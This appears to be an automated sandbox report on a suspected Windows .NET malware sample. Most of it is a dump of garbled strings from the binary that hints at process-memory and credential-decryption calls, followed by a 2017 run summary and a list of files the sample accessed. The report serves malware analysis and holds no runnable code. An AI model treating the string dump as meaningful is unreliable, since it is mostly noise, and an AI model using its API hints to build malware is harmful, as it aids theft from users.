RFGGBTBUWEG
IDLKVBTX
KXJEKLCFCWUG
CUURMKSG
BWIFCBNTPYKA
DRRJLGZQ
nPYLELBSMI
SIYDVWKS
AQYPGWINF
BXSTUOZHBNR
CBMTTO
EQKNPUEZSBWJ
WEETDXAVWPVB
&r33
EQSJWCIVXVJ
ABXXOWOHROB
xHIK
HJBUJM
BLOALHMRIOTA
VVZMJMU
"GOVM
once
MKAVTKZPA
XJJFNSZX
TOJCHCXYJ
DLMFNE
SBIDGKQOV
MNHJQGDO
p 5f
RGAGWY
RCTUCT
HICOHWHRZN
IYQSORCOKHA
MYFGFI
XHWIOT
ILTJXP
JGSVKZZBD
LRVWHOWNR
YWESQOD
UVLPB
AWHTOASFA
XZVTRC
*h05,4cd9xK ==/b22904dba7f7
ZSAPIRWECWLT
YFEMCPZURUKF
AZTJNW
wL^WO
QLFXEU
IAQOJU
YAOPUEWB
Object
UUSGCGZEZ
p 5D
KGDLORIQLLEP
QMXOQIRBN
HWTJGGX
AYAGVWTHERD
ICTARHAECFB
LUXEFI
KJCHUJUPTGM
CLRAIZ
OJNNSTWL
WRYYYI
ZZFIXEDSVyQCEI
ZSFIXBRVV
WFVZYBGFG
ZGNWXNBQU
KJWPX
p @}
ROMGELDJIG
XCRDVBNX
UABZPOSPZqFM@J
GMNARZHVDIMV
GFZWHKXIRD
PSTGNSYGUCDH
EEBLULWI
p @a
XCINQLBOXR
ZZTUWCKWTNMQ
PKBRVWFKHMFX
IQWMFFGUFLY
TUHZMTPQJYRC
GUDCFZ
NJXLYG
`]ZODJKOEF
YIGPNJSXLAF
ZFNNFB
MMRNGSHNKJ
Q@WCSZ
KGBBM
URKGLFZ
IBHOFQDMPRNI
Vv5^f{Rmsd
XVVTXLEVW
JQTFR
XTHMFGZPXEAX
DBVE ,\L@A
OOADPYQDL
YMYOQITKIEQ
PPVVL
EHYMBHJU
RSCHYG
PKDCE
LLJYR
WKKTBYVZBZLK
GDUGMCNDDC
SWECT
WVNCSF
MCSGNQIJLIQ
ABIMMDYBRZUT
TGAIXEPO
QWBPKBREZBOV
ZOJWBVVFAHZS
'n1P2YW0dg
LUKZOKZRQ
YYYIMO
RGNFSE
XBADID
JGDCDYNSKXO
IHEMDRKPNCU
LSDHP
KLWBUSMOJ
GEADVTQVXOGU
TXFMWZGKTGXG
PKQWPOZAYFPS
IAJDOFSRX nZ VRLSDCTOUYUL
WDWVXVLRAEGN
DVTXAW
MGLIPR
LJNZZAG
WCDMSGANXB
QLKWQF
PPGUYXTBGUR
MYLIDQX
GKSOUVDUI|ARSF )QPPLEOSNTXDU
V+B
SLFZU
KOCHTCNQMSN
RRAYPQEWNE
IIPTESXUGUY
BOYLGYOVNRAZ
NCSAAWZFOKV
*_>9
IEVJMYUWVC
LPFQTVFASFZP
MKBYWJIOZNKI
AIPNZU
UCKIVPKAAOW
SGCOFK
qDPN
aEPU
IxneqdDC
CWRNGSK
EKBCGHIMV
hG JJHONNQAIDJT
RSRQAU
IOMDIMLGZ
BWRLLDEBPEN
LPSVKGEW
SKYAGBNF
SHMEYO
WKYEJWICHR
QLZQQAXRQJZZ
MALWJKPIIN
AAJCPTXMMJ
SNWJKUBTFFA
RDQXDGUAKE
NWy6kF3G3yvx
LPRZYI
AHCSNJCBGRIL
JMDFSGBNPMOW
AYVCJGIXI
NBRLCR
LhnBharacteristics
KUOFGH
p C-
FNVGBQUZCNLK
BIEYNZRPBIEB
QNYXVN
GeneratedC!OuIpv%Bq|qg
JPRQPP
XNDQIOJJBGRD
YPIEL
OESLODUZ
WJOFSKE
WNJOLFPZ
INACII
7N5
KWMBHP
BLGZTI
PXNEOW
XSQLDAX
:&w j
PTSUSBVNLAWU
M to
MGBJCJSUNCA
RSLFVRUGBVU
NADQLC
"_F@X
QDFDEIMBL
OUOIHFZ
SFMUESIN
ZQFHBYOZACQY
nGDWJYjYZ\EPKSSSH
IQKGDS
RKSMVYSYKJW
Exit
HSOEFJZAO
nW
TKCELKOWCQA
XPTKEJ
NSGFY
UESQW
UPNKABSLS
GGWUWZ
U)J9
RJRC ,DEKK
KVXPQOLNODW
XNAYVDYBED
D$xh
OQBFWXQ
XHMEM
NNKNJVSU
& KC
ZSBKCEHTZ
GNM[IY
SZPDOJUNEH
NYCOMIPYQA
KJYVVZ
HLSZTA
t*L&
RZATOK
LXVNNY
QPRLIYZTTCW
QUTOYDHYJHL
SSAFSAAU
LNWUKC
+!(>
SNHDRYNIYNVV
Cr0ZgKwg`teHa+O
WCGFWDNVKGR
IWXWCRK
EVANYYMEXSM
& K<
MEROYDGORZ
& K%
URAIM
Curre ]Fyap[@vmGpnwser
AKECDWEOAY
CHWCIYT
KTRSFDYHG
gethostn9Iu
JKAGPAWHGGJT
NGSVZI
XDPHZLZDQUH
JYPVBN y
HRVTCGJH
LUVYKSWL
YHKSUR
K!ef5
ZXTSJA
XEIBSJ
1!j Q
YKYWUFAUWJNU
WELHJAHUK
ZEQJQEYTBRU
KFMHHM
IHNTYZ
9zfj*Fq{*ohcrosoft.com/windows{
@_RQ
HUYHZRBUIP
XFWOQEBWDRN
KLIVZY
LBVYUX
FLJUQUISDEJ
FJJMGUXJ
LBSEURSOGUC
AFFIZUCDWVW
RNJKXAKTLOMY
VCAKBZUVAV
GWRPRH
DXRIOXZHPS
AAASYLZQ
XIDLSA
WPUREBENNVAE
SKMCJJEULU
KTJSU
ACZKTH
VUECJR
AEBTOPNEUWYD
IXARSJUPFZA
RLXZXXHQWWNX
NYOATRYXJUAH
EVEEOBATVUGZ
BUZXRPJCMY
SEAPZKWGFRYR
p }g
FBGJDUTSNKYE
BWFWVD
MGYQUIYUSUTR
KNEQRRINJQE
KXUNWE
soGpdateKeyExA
p Xp
EZLOZJVIBA
PSTCGAF
WURTYL
RRMHH
GVRDFLPR
DVNUIR
WUYOEQUPWTPL
XLROGZ
TKCPARHE
Drj)sVvg;
JRNOBRW
UUVSFIUJ
SEECOJWYTRED
VKVRQ
ZFDPLM
&rI>
O'BY
JAMWDZNPWN
System.Threading
OVKUSMGJO
TDBPYZBX
%d:%s%s;
DFDRFIIWUGI
BIKOIDXVDWZI
VEHZSL
N !
bEY\P@
JWIWMNSZ
LOWGALTNUJWT
KCBLBMRU
NMODBQ
TIBEMMAYSXMP
EEKIB
VHQGIEOPFYOR
TTBRMOBS
IDRRAPMBB
PBYYSL
ZRVHWAMLBKCF
TZNIIYC
YTJQIPNSZ
get mpldwmt
QSEHIJGJCNOU
VDUGA
BDWWZ
?*{ a
BLNMXOSUB
DDTDYD
WKLYIWGYD
LPVUMHEIQXN
EVJPSQRMLA
AAYZFB
AUDXVTSBDWGS
@:G2[iWCS'
UWOKT
TEJUDEZRZRO
OVQFIIKOGWQ
ODQKXEUXOSQM
OVOGNRZYGE
PRPZZASOWPN
HPGPDNFFUT
QHIVJZIDXQL
xPKKCOgS@JIFFWGNA
bigdick
MFKUNAVMHO
TZWYJSHRNTIM
NKYIBQKMGWT
TPZRG
YIIVVSZ
QHDRQAN
GJNUWEGT
BUSGIA
YMKTOR
IZPVDF
PCWRI
DSVLWQVXSERO
ZSLBDHTOP
RTMYUOXXYTLP
get_Current
YWUHAL
vZKUUN
KYMRVI
AKFNAQMTZBAX
FYJCKDNOETZ
!:O{
STFQVQWFMSA
SQHGCNYPZ
[?9"
RDFOMDO
WNCHTISXSWBI
UFBDVK
YMLJYQOQDL
CPTKXPWXUMV
EANEOZEYJLB
GXDRBFCT
APJJUEUWMT
@CAU
VAWZFHB
FXRNLLMCTY
xaqnurceCulture
ZKVOSV
mENM
UDXWHLHJ
RNMRV
BSPICGDAVKP
?>`/$.2d-%.2d %.2d:s
ETDIB
NXSAIMVOKPS
xQ^EL[|A@TUUAN
cGO!
QZZVNMPM
YDYBUPQZRQ
CFQLCOTT
XPXUOB
LJIMGIPOVIGC
DKRCKGAXW
KKTILSAZSMPG
YEYHMA
\mpuualProtectEx
MMTRFJGTV
SLDFK
MCEOSVRBLTA
iFII
QJHNDMENXKK
WHFXJY
KYCWOOCPTU
s:"
YPFPXRKPH
LRXOOC
OHGVFNEYHZQ
MHKUHVMZIW
HUALOQUEPHTQ
ORRXTMGTRTIA
KXFZHL
GUETIRNYNBSG
JUGRNWOCNK
JU$0v
FOEVQTC
YGNSCHSVRGB
XGRLLFKXKFH
LSQCKOAPPF
DEWDPL
TZEMZAYW
GMESPWTFVI
FWMSPTDFXMG
VUXZQNYRLCP
IVZRFXMNO
EOOJSD
MREXCF
KJYFVAKR
QFLQKSYGXZJ
KCUTYLBCH
PKXHSD
KLKHF
%.2d-%.2d-%.42'
MZHBLT
TOTVBJTLMKH
& sz
WSRVD
ZLIIQXADIE
D$0)
ZZNSZFUCTO
'A@CkmeOpe Lf`jl@
CYAZOBA
DSCCDV
AATINZ
ZWXWJMLTI
OXFOMD
gZOA
DUJOBTCTOKIZ
GAAFHQ
LYEBGQ
VEQFPWSYZIP
VDDXQQ
DUKPMF
SMTIDITPUX
"*l |
HUYIFWH
CVAJXS
BSSURJQMAV
OZBWQJETPTXZ
DAHOAD
UXZYLYYV
& qu
XEQWFW
GGSJERPNUIFE
D$0@
OGNHSIAN
]STR
EANOHUOEUSP
YJNTBPZ
JYNHDZBPZOXV
ZWEHNX
&rIN
D$0t
OBWGFJ
UYYCPUVGDERS
m[^GMOXJ
AOWHKZJTQPWF
TXUUZNTTR
DXDNGCBNASL
LCFFUKIMRC
OEKZQSIDS
oZaslc
OVXMHO
FWUGCIVFJ
KIENZGESCTAL
HAT#
CKZXBO
UOGJUIY
SACXHMKZUERM
SBPANJIT
PLUWYESZOREN
SVIHNRYZR
VO hDX
NRZCPL
EOZPW
FPMCLA
f:S:5id3iG3G3y.Sii
JKAFNTUGUVNX
$`[-
ZNZHIATCAUIT
bInheritHandle
FBEZCI
WFWBKNMJN
TULGCXIJNI
CVYCPUPWH
LGXDITNLN
NOJPYGHTQUA
PXLLJWSPRF
TMLZILIGV
& ,.
UXURMQ
EHTARTXZMSC
OQOAIIYDARXI
CUMQZCUUITKC
&rm)
PNOVRLYQCRB
JJUFFLDJMMR
FRCQEYP
YBWRRR
VWXPMPBLDNVH
Zwchccle> <IdleSetti6@a6
W5$
+zE
&rm:
SZLSQLT
CHNCNNB
N!b0
CZWXDPGEJX
URAIMS
7/D
XYTITBBNDEGC
GetForeg*CffaUhndowO,
& ,M
LSUORTLCHSGD
LUDTNGGUN
AUSWFKOAHOYI
CYJCLUHGUD
YSJZOGSFVLBI
XJMAECRTCZGH
FMAJLV
ETPJDO
KQZMJJ
&rmU
VSWCUD
KEJXHFUDCD
LJFAQKRTEYQX
ICQHJAVBBIGA
LEBKQFNMAO
HOPXAJWKFVA
&rmc
UNFKZKKDXERF
CYRQCMTQXSUM
DOJHIVOZCDJX
MTAMMJWZBGVE
RADPVM
&rmd
&rmi
HZZVUXMQXTK
UIFNCPT
VSQYW
BLUU
FELWTQTXDGZ
IIZHYLWYBPXB
AIWGE
ZQJLNZ
& ,v
FKAIKVCVTP
FileAttributes
SRDLTQ
JMCZJDBs_[WVIZTCYHK
IFTJHG
FLCQLFGQNG
WHFRZLF
KYTHLGVNFCBU
NMDJAXZSASQG
U!ps
AJVAHBUVVXX
KHKMTONBBG
JYKTESLHBQ
FKZDTXQHWNQ
WYYTTHNUJYLP
KCHATBJXXM
PEHCIJIHVL
Gy5
TVJMDRQI
RZWIQRITXSI
CHVKNTTERVRV
JXOGJHT
UXVWHQTLLGLO
MMOTYTQ
BMXJTIMHFKXD
HKOHBBT
7eN,C]
KTQEUR
OAUWMEOEQ
ATTWQZ
XJXCLRPRQH
MTPQSL
AHZSOS
EFEWLQBXFDV
MMQARTGT
RQIGLQTTW
SIWDLM
BCYHNHRNZJMX
RMUNBDG
ZQYYVFHUH
pROKVVACXL
DCUJDX
SVMRLV
UZONO
CFCIPETFPIUA
ZARIVZ
EWHZDARCNJR
VZLRVJQSV
&rIi
FHDCTLXU
GNRGUMXRZO
VDRIRW
UXAFRFEDU
KLASBRZMPP
EPZNZBENZTOT
FFEQUGMULMXS
DGIJGRIMUEV
GWGHPZ
SIOECPMC
HBPYATYHVXNQ
YKTPMKEWKQNM
$oRA
PBYEEOZI
GVCCICODHBMG
MVMXHC
f*f
KLKWMLWUW
CBFQVAAI
FCNITUDSSK
YHDODP
JIHFJX
N/Hv
WTBCOR
JXNKYEXZDL
~/
APHHLLLFJ
KRNXDQGA
MGDRDX
CYKZUA
JSIZNOSS
CTBULXRFJIDP
E_W3
YFQPTMDSDFJ
&r5_
&r5]
&r5\
l"vgfgg<_T
&r5R
& Th
&r5W
NUVIUCQXPZYF
sTL]EHBYG
TJODMFCURML
QCUURAPSPJIE
&r5L
TAISTFWUKX
c\ _K
VZNEKC
&r5D
BJYAOYYHPS
AOMYSLTWOV
TQIQKUAUZXJS
HDAOAHDEKAB
KZAJBY
LMLZEE
FKWZGXDIHR
EVBUGZBQDZ
PCMBTEFTUTYV
JMGXHXVKYE
XJJMO
GELVIMQI
RTLLCHZTDD
CBCIGSSZCUM
JJYHZLKLU
EANVUVPCUHSR
WPHLHSFULVW
UWUJMLLYQN
& T[
ZCLQCWHHNEOJ
&r5f
get_ Hio
FNIGWDIOK
D$B(
QVQZOZJCPG
s^ ^VHKZL
D$B,
D$B-
LEZBRCDCIV
VRCTLK
ZMVHYGEJO
YGBBPJ
YJFVC
FOYPJU
GQXSMQP
EZCLPQMRVIY
MIGZXWVQAAKZ
ALIVLFNW
UIKYLSBAFK
DIZEXZ
ABSRXCITALI
FAFVQAN
Messag&n}sMa8O
GPKHKYUEQLI
LHHOABYQCTJS
& T<
WVPWHLZEBYTH
AJSKPOQJC
KCSTBGRWGZT
JNUGFZJSRYNW
PJSRQZ
&r52
LCGRSQBP
-PCSFCH
vOZLTCO
CYNXFK
EdtBinaryForm
VOTED
AIZQQSNHDGO
RPYJDWSXD
OEYEVUDXAG
l@]O
IJXCVROFOY
(
UGMYAOLXLOLS
FMJDGISYORZ
BCAASJVBQSX
~pU'
AGZLOQUXZDBA
HCATVUVVPYX
QHPDVPEPNJIO
p B5
akgu_ntoa
GJBBCU
XUERUUOVXUU
p 7z
FOYKGZOMJOCN
ODWIVTMOUG
WSDQNNF
RNGQQFDM
PXAFGSGIJMAI
BYGXFMKHZSYB
SWSQDM
p 7f
TAERQ
QSEHNYNLOOR
MMNGTV
RndString2
STWVQRNQS
WFURDN
p 7S
ILWFCE
XYJBYGQIGHGW
HUHIAFC
SUPMIPKCIRV
GYFWJETSZGMZ
UCLXWYYIICAJ
APMWH
ZFKXORWLHQZI
GHPDHXCUH
JFUNEIWMYRBU
UGEFWBE
FLEBQCK
dE CEIIS
p B
KMHUH
p Bs
D}gkuL GVrggqtionThrows
SLBDHBCZZHHF
RGUOPZIE
PNNMRSLDN
XLDURZHQ
OPNKSEPSY
FJUYELCG
p Bb
p 7#
p Ba
QZQOOOQRM
LTBVDX
HIZCEOH
p Bk
NKQQMAORLB
~PZWQLX
lKR
p 7,
PAXQNRXVT
IFUSOXUUKDR
p BS
HYEQUS
LQMQ
AAQIWWNDV
GMDMNTFSOPV
p BX
UYYNZO
IHIXYYAX
MZESPLMGAX
OPKWRF
ACBSH
e_m5Czk
HIKVCYRZ
KOQCYASIMWX
9&t k
TEJDII
CLSSBOZGCF
RPRLYWXBW
PAYTCGXMW
WFLXLYXQLI
RXMIOSV g\[
BENCYL
SWTLYLCJXZP
EIHHIACUTRE
AAJCLDJQ
DOGFGNVXPFOG
SWPVEXCEZDW
RGTPSC
LOVHICFDMD
ZJTJFU
TPXKUSXXCMRI
YYTUXDFYBCKN
JEDRXM
HIVTBCUTQ
SPRUKFLCGQXW
PIRKLNC
KHHSUHZXVP
SEJAEF
msv5Yg'anm
MQQOKX
YYNTSPFXJC
TPYSFQAUP
CMHCUK
TSCSCBO
LTXDIZHRFAS
OMCBZK
CMODH
YNXSYWMRO
HWAJRBICIPD
TAXTWNUEJE
YJLVZNJISL
FUFHMKHAHUT
XMHYR
KDSPRI
VHIUTR
'BDAZ
QCKSYD
DZYMOZBRMB
YLSHXSEJTFGY
UNNGQIMAWYLL
SKJWMH
U"pz
EQNVUP
NVFMGXYVCHX
OPVGXR
YBFELERDLJCV
DGEYBAEMK
KFXSBTCCRG
GXZKUQZBPJBS
isDotNet
DACZVW
MTLLGL
RWPLNEa^@BF[T
vZJMJNY
LFWLWLYQI
ZGEKODPRCB
SZNUXJCZMW
E_LVEEJNJZHE
BZHTVCTETWWX
SWMSPO
wOHGJFKMB
YQYCREU
XXMURD
WCFCYFIJEHO
dT SKFEEMEYURX
kX[IL
RHDNMPJACYAD
WYGMIBXN
ZLIFPFIMXAGA
GRXDZWKKTEVT
MOIZOLSQKIBrR]OD
TBMOP
SWGDCXSVGRW
DBLLAIYTKKQ
FAHQXEON
WIQAWP
MWCMDZXKPA
YCBQCIENQGSN
AGOGXVKOABT
FMNOG
HNSLIH
RJMUWBAFJY
m^@]K
gGZsf[\s0Wb
N/kT
KJTPYDR
MBTZSAJXI
MZGQTDIIZV
& I{
LMCRPUAGATYX
CS2Cs4Nh.SiiBw$mVhSQld0
AYYXPTAK
ZIUISABHWJC
XJSZDDMJNWCH
WMXNDF
SHYJHM
RQSMQO
TSUIJS
KHVNJSHHSXU
NKTRPVHDEY
BYJHSPBIZ
TSQEDDVWFB
MYJWQY
ODODUE
XLUPYUX
& In
,w v
YNFXGFMH
Cs43l63g4R3Y0|
?2k55dNpWsdR
BRLQZJIPCNT
YJQCBJ
|ESRU
"'b Y
HUZUI
dTPPA
RSSAYRJTTJZ
JQZUYKY
OKQMGPEWWSJP
QXZFUARHLQOY
& IJ
D$zt
AMNFCF
Hniti3K}s`AsiticalSection
`ZJALODX
KPZOOBTURNBS
NKHZHHKHILQ
HLWCMVWJI
SXMVNI
AGJOYDNJXUNB
DGLGAM
WEZDLCDUIYZM
CSXMFXLPRHOM
GIGVE
NETA
JABPIBROBT
%6\qI
GNQNNRE
Zjduware\Microsoft b}}`poet E:Z
BCBFHT
XGJSFYJGCB
-[^_]
OZQPDLFP
EDZCLPHBURIZ
EULPNC
DLXUCKA
ZEQKSEQCGONA
LZHOGI
VEKGZS
PTIHEE
TTOVEPCWVJFC
QNWCLHCZ
QXTIGQLHKYJB
SSIBKUQYI
MGVXAVCRLKJY
UOMWGNLGGV
LYAGPWRWBB
KNTVHWPPFPOS
YJIHKTCCFGNJ
CGWODJS
GZVUBBIQHA
RKADSZKQSXJH
G^SQ
OAJQLVPU
NOWJDOCJEQ
ETLMKXVLLK
VOZBJMVFS
IOPVMXBTSK
IAOXERUG
YACQUYN
xE]GN
IEYZKUKPS
OJXFJNQWBPE
FOCSHJNEMC
YUUJMPOBLXIB
HGOZZUNXKZGF
XIRICP
MWWETMTCT
QXBNUQSQET
JXVVUSG
KLIYWKSGS
RTUBJX
JUQXENBTT
JZMRBIGMRX
KSUHAVT
cG__W[kT[SLYNAV
CNRQTKPOCTPX
E <v
ICUGOWDENO
JDINHOW
CPUWAHDNAUU
MUARWZVUM
N"Pz
FBQRYE
NCOOYW
DUMCHD
OYKTZH
EOTSW
NHQGXLWIEZTZ
-<FlgM
EISAGE
MLTVTRPDJ
r7+
EWAKMXTD
HQHKLNDL
HNQONXBJGHRG
XRGCTO
BATXOW
KMZCWTIAUW
p +W
FMICMJSVAB
OPOKBEMWKJUU
ZUUIX
mSJIJOoQJ^DNXMH
QNTRAC
EJSXPOVAHX
TGXJYIZVMFZG
*R38
EVZZNOXKZPZ
GSSGTU
GTMFGKLN
IHBKWNWFBSP
FJGYBPXAHG
GNSDPKAQK
GYYACHJNHBFJ
URRUNYKUQPZA
SQBCYT
r Lm
XFTXQRXY
Encoding
DRLQXCOGBYP
ANXLQP
XKWNXW
TXSUUL
IGVPNAXMUINH
JBGOFVQHSHVH
HACAUCFZMUI
TSDKDFBE
$mWA
HDWIEV
U7>
OUFSSZ
YCEPJCMRSFR
QSFXQKEEIGJV
QMMPCS
ULKIVC
C7@Fxaa
PERYLCME
YESSXJBFEXLY
LBXXXNLXWZ
PFVUEHNHRDHT
RWMVF
QZRIHRCT
DRNICIVE
FFULWZKJ
BDGMVRR
MWJITW
AZWBFMPUY
APILAGFJ
XQMIRV
ZTGZGV
WMRSBM
HEMOIF
XPCCEEKFUJH
QMTLZAXP
WVCKFB
LJTEDQIHDQW
hWBUH
UYFYRPOIZPMK
VQGKNRYNDA
MMAXCAESB
EGRKHUUZWH
EAJQNXGHNYZ
SADEBODYPT
VXMNDZIBCG
CHNLGAZHX
RSTTQNZXUEIP
XEEYMNHJH
V1N8
VYDIAT
AHE sWLQR nG LRBCFZYMRCMR
YXAKJIPUDT
JFBJHZ
QFIMLVZCQGOX
xD GNTEZR
ULARTC
SFXYSJVRBRP
i]BQ
oFPQ
XHQFJZZZWWYG
LWMXKLGBNA
JWSNKT
JMGEUBAIMMZV
67i4{M\$Wkh
OLMICWRBTYK
TNMYFQ
MAXSDDGKHRCJ
OATNM
ODTFNBOHR
QCRZGGAV
RJGFWJX
MXQJGT
TDPPYKPKV
TACYGOHRCQS
ZIAKJNTG
QIELL32.DLL
TUYFTPAWKDMH
ZXIDMRMV
kFPLP
CVKOYPJBEHN
RNBMUVN
AWETSONJEQVH
JPLXZLOBMAYUnCPU[SMJYJK
NHWISS
$IOA
BINZYPICQZZA
PKQFSO
OOJPQHA
QJOVUNJBP
BOCUEZSMIWI
WWBJOBG
BVJVBSHT
Zero
EVKUZWHRAYL
JNYUCCEMC
JYTOYSG
SIIZGNOU
DYAJJZET
LGAODHERQQ
OANCIUVDBKSV
7)` k
HSQMWHNLKFUC
DZIAQQSGDZD
WQFIANANGX
SKJKYXPCCJ
ZTOQHTFQIRP
ZEAWQXEFX
3kimre R' 85"NK
ZMQQE
TVWHKOUEQB
WFZBWSZWXBT
D $}
UFPXHM
%s*.*
JJSSMGRHDKTO
NJZRWYWTOOAZ
PATONQOKBQV
Membe*mxoj
LYXKZG
KWECSNS
DLMMRPOOBQ
MSPUSDOOG
MVHVAKLPDOBW
tR1cB5C
JVOEFFDALBWJ
ADJLLSAAFAI
I jHYR
bYLBUQK
YWHZUV
MXWBLQAZHRY
ZXQDKIZJTKH
RIQDQLW
DWYJHS
GGBQXVUTWSY
DIMVRR
nFRU
GKCRUIFHVA
MGUUFCLBUCMG
VUFXPVOSQID
FCJMLU
ZCYEPJMCTNF
& qh
UHBQGEVTGOVI
& qm
GSIHCGP
QXJNYMKYE
EMJUVI
KDQNPFCHTSSN
r!Lt
UPSVKGMLS
OKROFNDU
h w
XAVLQWKYVVB
yX MS
CIKHTDEY
IPZWCY
TAMLSHLVGWFG
IJBVJFS
DSYSH
NFJFHAXZYMP
ATDOXQK
UTCHIOSJOB
RZQZVT
DNNUGARU
HIIHLJN
NVSEAVSEIODD
TOQXFZHCL
HVYAMWNEQ
NTQRPYEYMHUJ
PDZKWNTBMWGV
OCIISDQ
LYGNKR
^ CVWWVLVVMVK
SZIFUOJUMNV
RTJULQ
&"| c
zGLO
AZPZVNJRKQVX
EDHPUSYYV
FQOTDCLSB
BWMHWMGETN
UWUWCL
FZWIMCIG
HIZMAF
hGNHN
CLVELM
YBUONO
D$g&
PACFZOYEGTQ
EBLYMR
CXMMOMSYQTPA
IGLPIZ
NZOPNGABOBR
HBZNJK
EIKAIHKDZLD
mPLWQUeIECPR
UMVWKJNI
MGRQPEJXGG
CryptUnpro=Ip
IGGYQIREHAWW
PMQAUDTG
JZCTZSNTIQGE
ERUTSZWE
NXRHNV
NRKGHBWN
SHKJZVGO
TIUZAJZ
UJTKUEP
MLIBXO
FDSZTPYZLC
DKNJLT
CGALUQ
h,: 5
PJRBGK
BGKGLV
&ro/
GMHDUXSQ
IJGIWRBNVVTA
JUGPXE
LIWOCVWPAUYT
RNZBPKE
AWRRGWIPUJKH
WCOGPU
XZNYTJVEQ
IDVICC
RGNDZKW
EOQUVR
NUTPOTGNV
GBTKAVOVY
FUHSNIAQJ
h^ AF
LFKVWU
XMWEVU
IPSZKH
WFEEPEZGJ
KFDAXMDLNYM
&roN
GROUELHSP
OJPLAXWEFMP
& *Z
hWNF
TUMVGNRPYLU
& *]
OUXUWT
&roF
kALU@MIVZQM
EYFQY
YZFGBK
KIEGWWT
& *H
&roP
ZOCDOOHLT
Rn4X]
WQWJZM
BVKEKXAOOW
XWBKPJBIPULV
TPFSCS
LSOFOPJ
&roj
LCQIL
ASCODXFOSN
FQWVJSH
TSZRPN
CSUXCCEVM
AAEKFHORKPI
HURHJF
& *~
QLCYPB
TINHRAFVMGL
%c%s
PVJTRLNCVJPI
EPQBML
F% DA
JIZOADJEWGMR
CYPSZIKT
OKKJISUA
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven04_64 Seven04_64 VirtualBox 2017-10-24 15:48:58 2017-10-24 15:53:23 265

14 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven04_64 Seven04_64 VirtualBox 2017-10-24 15:48:58 2017-10-24 15:53:23 265

11 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\up.exe.config
C:\Users\Seven01\AppData\Local\Temp\up.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\up.exe.Local\
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows
C:\Windows\winsxs
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll
\Device\KsecDD
C:\Users\Seven01\AppData\Local\Temp\up.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\Globalization\it-it.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\assembly\pubpol21.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Users\Seven01\AppData\Local\Temp\it-IT\XWCRG.exeRENAME.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\XWCRG.exeRENAME.resources\XWCRG.exeRENAME.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\XWCRG.exeRENAME.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\XWCRG.exeRENAME.resources\XWCRG.exeRENAME.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\Globalization\it.nlp
C:\Users\Seven01\AppData\Local\Temp\it\XWCRG.exeRENAME.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\XWCRG.exeRENAME.resources\XWCRG.exeRENAME.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\XWCRG.exeRENAME.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\XWCRG.exeRENAME.resources\XWCRG.exeRENAME.resources.exe
